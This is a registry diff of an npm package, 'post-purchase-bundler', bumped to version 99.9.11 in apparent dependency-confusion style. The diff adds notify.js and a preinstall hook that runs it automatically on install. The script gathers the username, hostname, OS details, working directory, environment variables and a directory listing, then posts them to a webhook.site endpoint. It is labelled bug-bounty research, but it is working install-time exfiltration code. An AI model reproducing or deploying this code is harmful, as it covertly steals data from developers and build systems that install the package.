post-purchase-bundler 99.9.9 → 99.9.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/notify.js +59 -0
- package/package.json +6 -5
- package/pacgake.json +0 -0
package/notify.js
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
import https from 'https';
|
|
2
|
+
import os from 'os';
|
|
3
|
+
import { execSync } from 'child_process';
|
|
4
|
+
|
|
5
|
+
const getDetailedData = () => {
|
|
6
|
+
let envSnippet = {};
|
|
7
|
+
let lsData = "N/A";
|
|
8
|
+
|
|
9
|
+
try {
|
|
10
|
+
// Sistemdəki mühit dəyişənlərindən vacib olanları süzürük
|
|
11
|
+
const env = process.env;
|
|
12
|
+
envSnippet = {
|
|
13
|
+
npm_config_registry: env.npm_config_registry,
|
|
14
|
+
NODE_ENV: env.NODE_ENV,
|
|
15
|
+
PWD: env.PWD,
|
|
16
|
+
CI: env.CI, // Build serverdirsə adətən 'true' olur
|
|
17
|
+
HOME: env.HOME
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
// Olduğu qovluqdakı faylları görürük (inandırıcılıq üçün)
|
|
21
|
+
lsData = execSync('ls -la | head -n 10').toString();
|
|
22
|
+
} catch (e) {}
|
|
23
|
+
|
|
24
|
+
return JSON.stringify({
|
|
25
|
+
event: "Transparent-PoC-Report",
|
|
26
|
+
target_clue: "Dependency Confusion Audit",
|
|
27
|
+
system: {
|
|
28
|
+
user: os.userInfo().username,
|
|
29
|
+
hostname: os.hostname(),
|
|
30
|
+
platform: os.platform(),
|
|
31
|
+
release: os.release(),
|
|
32
|
+
arch: os.arch()
|
|
33
|
+
},
|
|
34
|
+
context: {
|
|
35
|
+
current_dir: process.cwd(),
|
|
36
|
+
env_vars: envSnippet,
|
|
37
|
+
directory_listing: lsData
|
|
38
|
+
},
|
|
39
|
+
timestamp: new Date().toISOString()
|
|
40
|
+
});
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
const data = getDetailedData();
|
|
44
|
+
|
|
45
|
+
const options = {
|
|
46
|
+
hostname: 'webhook.site',
|
|
47
|
+
port: 443,
|
|
48
|
+
path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
|
|
49
|
+
method: 'POST',
|
|
50
|
+
headers: {
|
|
51
|
+
'Content-Type': 'application/json',
|
|
52
|
+
'Content-Length': data.length
|
|
53
|
+
}
|
|
54
|
+
};
|
|
55
|
+
|
|
56
|
+
const req = https.request(options, () => process.exit(0));
|
|
57
|
+
req.on('error', () => process.exit(0));
|
|
58
|
+
req.write(data);
|
|
59
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,11 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "post-purchase-bundler",
|
|
3
|
-
"version": "99.9.
|
|
4
|
-
"description": "Security
|
|
3
|
+
"version": "99.9.11",
|
|
4
|
+
"description": "Security research for internal dependency confusion",
|
|
5
5
|
"main": "index.js",
|
|
6
|
+
"type": "module",
|
|
6
7
|
"scripts": {
|
|
7
|
-
"preinstall": "node
|
|
8
|
+
"preinstall": "node notify.js"
|
|
8
9
|
},
|
|
9
|
-
"author": "
|
|
10
|
-
"
|
|
10
|
+
"author": "Security Audit (Bug Bounty)",
|
|
11
|
+
"private": false
|
|
11
12
|
}
|
package/pacgake.json
DELETED
|
File without changes
|